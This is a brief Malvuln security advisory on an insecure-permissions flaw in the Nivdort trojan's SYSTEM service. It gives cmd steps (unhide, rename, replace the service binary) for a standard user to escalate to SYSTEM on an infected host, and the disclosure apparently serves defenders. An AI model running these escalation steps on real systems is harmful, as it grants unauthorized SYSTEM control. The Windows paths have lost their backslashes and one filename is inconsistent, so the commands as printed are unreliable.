Authored by malvuln | Site

TrojanSpy Win32 Nivdort malware suffers from an insecure permissions vulnerability.

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source:
Contact: [email protected]

Threat: TrojanSpy Win32 Nivdort
Vulnerability: Insecure Permissions - EoP (SYSTEM)
Family: Nivdort
Type: PE32
MD5: 15bda00b57e2ed729a45f7cfa62165da
Vuln ID: MVID-2024-0668
Dropped files: dqrpgvnkh, egjrdhynfm, nhefhloix, rvoyf6ljtqg4zejno.exe
Disclosure: 01/20/2024

The malware creates a service which runs as SYSTEM and grants change (C) permissions to the authenticated user group on its installation directory. Standard low integrity users can still rename the service executable while it is running, replace the PE file with their own and restart the infected system to start the service.

C:>cacls C:pewcvmnvyrjwgaklb.exe
C:pewcvmnvyrjwgaklb.exe BUILTINAdministrators:(ID)F
NT AUTHORITYAuthenticated Users:(ID)C

C:>sc qc "Group Key KtmRm Coordinator Registry TPM Bus"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Group Key KtmRm Coordinator Registry TPM Bus
TYPE : 110 WIN32_OWN_PROCESS (interactive)
BINARY_PATH_NAME : C:pewcvmnvyrjwgaklb.exe
TAG : 0
DISPLAY_NAME : Group Key KtmRm Coordinator Registry TPM Bus

Open a cmd prompt as standard user:

1) unhide the service binary
C:Usersnorgt>attrib -s -h pewcvmnvyrjwgaklb.exe

2) rename the service binary
C:Usersnorgt>ren pewcvmnvyrjwgaklb.exe PWNED

3) optional replace with your own binary and escalate to SYSTEM

C:Usersnorgt>dir pewcvmnvyr
Directory of C:pewcvmnvyr
01/14/2024 02:05 AM 0 dqrpgvnkh
01/14/2024 02:05 AM 6 egjrdhynfm
01/14/2024 02:09 AM 4 nhefhloix
01/14/2024 02:05 AM 332,800 PWNED <================= DONE
01/14/2024 02:05 AM 332,800 rvoyf9njtqg4zejno.exe

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